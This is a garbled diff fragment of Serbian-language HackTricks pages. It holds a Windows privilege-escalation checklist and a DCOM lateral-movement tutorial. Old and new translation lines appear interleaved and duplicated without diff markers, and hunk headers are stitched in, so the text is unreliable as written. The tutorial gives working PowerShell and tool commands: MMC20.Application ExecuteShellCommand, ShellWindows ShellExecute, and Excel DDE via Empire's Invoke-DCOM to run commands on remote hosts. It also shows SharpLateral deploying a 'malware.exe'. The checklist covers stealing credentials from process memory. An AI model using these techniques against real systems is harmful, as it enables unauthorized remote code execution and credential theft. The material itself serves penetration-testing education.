### **Najbolji alat za traženje vektora lokalnog eskaliranja privilegija u Windows-u:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Najbolji alat za traženje vektora eskalacije privilegija u lokalnom Windows-u:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Informacije o sistemu](windows-local-privilege-escalation/#system-info)
* [ ] Dobiti [**Informacije o sistemu**](windows-local-privilege-escalation/#system-info)
* [ ] Pretražiti **kernel** [**eksploate korišćenjem skripti**](windows-local-privilege-escalation/#version-exploits)
* [ ] Koristiti **Google za pretragu** kernel **eksploatacija**
* [ ] Koristiti **searchsploit za pretragu** kernel **eksploatacija**
* [ ] Zanimljive informacije u [**env varijablama**](windows-local-privilege-escalation/#environment)?
* [ ] Pretražiti **kernel** [**exploite koristeći skripte**](windows-local-privilege-escalation/#version-exploits)
* [ ] Koristiti **Google za pretragu** kernel **exploita**
* [ ] Koristiti **searchsploit za pretragu** kernel **exploita**
* [ ] Interesantne informacije u [**env varijablama**](windows-local-privilege-escalation/#environment)?
* [ ] Lozinke u [**PowerShell istoriji**](windows-local-privilege-escalation/#powershell-history)?
* [ ] Zanimljive informacije u [**Internet postavkama**](windows-local-privilege-escalation/#internet-settings)?
* [ ] Interesantne informacije u [**Internet postavkama**](windows-local-privilege-escalation/#internet-settings)?
* [ ] [**Diskovi**](windows-local-privilege-escalation/#drives)?
* [ ] [**WSUS eksploatacija**](windows-local-privilege-escalation/#wsus)?
* [ ] [**WSUS exploit**](windows-local-privilege-escalation/#wsus)?
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
### [Enumeracija logovanja/AV](windows-local-privilege-escalation/#enumeration)
### [Enumeracija Logging/AV](windows-local-privilege-escalation/#enumeration)
* [ ] Proveriti [**Audit** ](windows-local-privilege-escalation/#audit-settings)i [**WEF** ](windows-local-privilege-escalation/#wef)postavke
* [ ] Proveriti [**LAPS**](windows-local-privilege-escalation/#laps)
* [ ] Proveriti da li je [**WDigest** ](windows-local-privilege-escalation/#wdigest)aktivan
* [ ] [**LSA Zaštita**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Zaštita Kredencijala**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Keširane Kredencijale**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Keširane lozinke**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] Proveriti da li postoji neki [**AV**](windows-av-bypass)
* [**AppLocker Politika**](authentication-credentials-uac-and-efs#applocker-policy)?
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
* [**Korisničke Privilegije**](windows-local-privilege-escalation/#users-and-groups)
* [**Korisničke privilegije**](windows-local-privilege-escalation/#users-and-groups)
* Proveriti [**trenutne** korisničke **privilegije**](windows-local-privilege-escalation/#users-and-groups)
* Da li ste [**član neke privilegovane grupe**](windows-local-privilege-escalation/#privileged-groups)?
* Proveriti da li su vam omogućeni [bilo koji od ovih tokena](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Korisničke Sesije**](windows-local-privilege-escalation/#logged-users-sessions)?
* Proveriti da li su vam omogućeni neki od ovih tokena (windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Korisničke sesije**](windows-local-privilege-escalation/#logged-users-sessions)?
* Proveriti [**korisničke direktorijume**](windows-local-privilege-escalation/#home-folders) (pristup?)
* Proveriti [**Politiku Lozinke**](windows-local-privilege-escalation/#password-policy)
* Proveriti [**Politiku lozinke**](windows-local-privilege-escalation/#password-policy)
* Šta je [**unutar Clipboard-a**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
### [Mreža](windows-local-privilege-escalation/#network)
@ -62,25 +62,25 @@ Drugi načini podrške HackTricks-u:
* Proveriti **trenutne** [**informacije o mreži**](windows-local-privilege-escalation/#network)
* Proveriti **skrivene lokalne servise** ograničene prema spolja
### [Pokrenuti Procesi](windows-local-privilege-escalation/#running-processes)
### [Pokrenuti procesi](windows-local-privilege-escalation/#running-processes)
* Dozvole fajlova i direktorijuma za procese binarnih datoteka (windows-local-privilege-escalation/#file-and-folder-permissions)
* Dozvole fajlova i direktorijuma procesa [**file and folders permissions**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [**Izvlačenje lozinki iz memorije**](windows-local-privilege-escalation/#memory-password-mining)
* [**Nesigurne GUI aplikacije**](windows-local-privilege-escalation/#insecure-gui-apps)
* Ukrasti kredencijale sa **zanimljivih procesa** putem `ProcDump.exe` ? (firefox, chrome, itd ...)
* Ukrasti akreditive sa **interesantnih procesa** putem `ProcDump.exe` ? (firefox, chrome, itd ...)
### [Servisi](windows-local-privilege-escalation/#services)
* [Možete li **modifikovati neki servis**?](windows-local-privilege-escalation#permissions)
* [Možete li **modifikovati** binarnu datoteku koju **izvršava** neki **servis**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Možete li **modifikovati** binarni fajl koji se **izvršava** od strane nekog **servisa**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Možete li **modifikovati** registar nekog **servisa**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* Da li možete iskoristiti neki **servis sa neispravnim putem binarne datoteke**? (windows-local-privilege-escalation/#unquoted-service-paths)
* Da li možete iskoristiti neki od **servisa sa neispravnim putem binarnog fajla**? (windows-local-privilege-escalation/#unquoted-service-paths)
### [**Aplikacije**](windows-local-privilege-escalation/#applications)
* **Dozvole za pisanje na instalirane aplikacije** (windows-local-privilege-escalation/#write-permissions)
* **Dozvole za pisanje na instalirane aplikacije**](windows-local-privilege-escalation/#write-permissions)
* [**Aplikacije koje se pokreću pri startovanju**](windows-local-privilege-escalation/#run-at-startup)
* **Ranjivi** [**Driveri**](windows-local-privilege-escalation/#drivers)
* **Ranjivi** [**Drajveri**](windows-local-privilege-escalation/#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] Možete li **pisati u bilo kojem folderu unutar PATH-a**?
@ -120,11 +120,11 @@ Drugi načini podrške HackTricks-u:
* Ostali [**registri koji sadrže kredencijale**](windows-local-privilege-escalation/#inside-the-registry)?
* Unutar [**Podataka pretraživača**](windows-local-privilege-escalation/#browsers-history) (baze podataka, istorija, obeleživači, ...)?
* [**Opšta pretraga lozinki**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) u fajlovima i registru
* [**Alati**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za automatsko pretraživanje lozinki
* [**Alati**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za automatsku pretragu lozinki
### [Procureni Handleri](windows-local-privilege-escalation/#leaked-handlers)
* [ ] Imate li pristup nekom handleru procesa pokrenutog od strane administratora?
* [ ] Imate li pristup bilo kom handleru procesa pokrenutog od strane administratora?
### [Imitacija Klijenta Cevi](windows-local-privilege-escalation/#named-pipe-client-impersonation)
@ -132,13 +132,13 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:

View file

@ -4,17 +4,17 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud)..
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud)..
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,17 +25,17 @@
**Za više informacija o ovoj tehnici pogledajte originalni post na [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Model distribuiranih objektnih komponenti (DCOM) predstavlja zanimljivu mogućnost za mrežne interakcije sa objektima. Microsoft pruža sveobuhvatnu dokumentaciju za DCOM i Model objektnih komponenti (COM), dostupnu [ovde za DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [ovde za COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Spisak DCOM aplikacija može se dobiti korišćenjem PowerShell komande:
Model distribuiranih komponentnih objekata (DCOM) predstavlja zanimljivu mogućnost za mrežne interakcije sa objektima. Microsoft pruža sveobuhvatnu dokumentaciju za DCOM i Model komponentnih objekata (COM), dostupnu [ovde za DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [ovde za COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Spisak DCOM aplikacija može se dobiti korišćenjem PowerShell komande:
```bash
Get-CimInstance Win32_DCOMApplication
```
COM objekat, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), omogućava skriptovanje MMC snap-in operacija. Posebno, ovaj objekat sadrži `ExecuteShellCommand` metod pod `Document.ActiveView`. Više informacija o ovom metodu može se pronaći [ovde](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Proverite pokretanjem:
COM objekat, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), omogućava pisanje skriptova za MMC snap-in operacije. Posebno, ovaj objekat sadrži `ExecuteShellCommand` metod pod `Document.ActiveView`. Više informacija o ovom metodu može se pronaći [ovde](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Proverite pokretanjem:
Ova funkcija olakšava izvršavanje komandi preko mreže putem DCOM aplikacije. Za interakciju sa DCOM-om na daljinu kao administrator, PowerShell se može koristiti na sledeći način:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Ova komanda se povezuje sa DCOM aplikacijom i vraća instancu COM objekta. Metoda ExecuteShellCommand može zatim biti pozvana kako bi se izvršio proces na udaljenom računaru. Proces uključuje sledeće korake:
Ova komanda se povezuje sa DCOM aplikacijom i vraća instancu COM objekta. Metoda ExecuteShellCommand može zatim biti pozvana da izvrši proces na udaljenom računaru. Proces uključuje sledeće korake:
Provera metoda:
```powershell
@ -55,7 +55,7 @@ ls \\10.10.10.10\c$\Users
**Za više informacija o ovoj tehnici pogledajte originalni post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Identifikovano je da objekat **MMC20.Application** nedostaje eksplicitna "LaunchPermissions", podrazumevajući dozvole koje dozvoljavaju pristup administratorima. Za dalje detalje, može se istražiti nit [ovde](https://twitter.com/tiraniddo/status/817532039771525120), a preporučuje se korišćenje [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET za filtriranje objekata bez eksplicitnih Launch Permission.
Identifikovano je da objekat **MMC20.Application** nedostaje eksplicitna "LaunchPermissions," podrazumevajući dozvole koje dozvoljavaju pristup administratorima. Za dalje detalje, može se istražiti nit [ovde](https://twitter.com/tiraniddo/status/817532039771525120), a preporučuje se korišćenje [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET za filtriranje objekata bez eksplicitnih Launch Permission.
Dva specifična objekta, `ShellBrowserWindow` i `ShellWindows`, istaknuta su zbog nedostatka eksplicitnih Launch Permissions. Odsustvo unosa `LaunchPermission` u registru pod `HKCR:\AppID\{guid}` označava nedostatak eksplicitnih dozvola.
@ -73,7 +73,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
Lateralno kretanje može se postići iskorišćavanjem DCOM Excel objekata. Za detaljne informacije, preporučuje se čitanje diskusije o iskorišćavanju Excel DDE za lateralno kretanje putem DCOM na [Cybereason-ovom blogu](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Projekat Empire pruža PowerShell skriptu, koja demonstrira korišćenje Excela za izvršavanje udaljenog koda (RCE) manipulacijom DCOM objekata. U nastavku su isečci iz skripte dostupne na [Empire-ovom GitHub repozitorijumu](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), prikazujući različite metode zloupotrebe Excela za RCE:
Projekat Empire pruža PowerShell skriptu, koja demonstrira korišćenje Excela za izvršavanje udaljenog koda (RCE) manipulišući DCOM objektima. U nastavku su isečci iz skripte dostupne na [Empire-ovom GitHub repozitorijumu](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), prikazujući različite metode zloupotrebe Excela za RCE:
```powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
@ -96,7 +96,7 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
```
### Alatke za automatizaciju lateralnog kretanja
### Alatke za automatizaciju bočnog kretanja
Dve alatke su istaknute za automatizaciju ovih tehnika:
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -130,7 +130,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**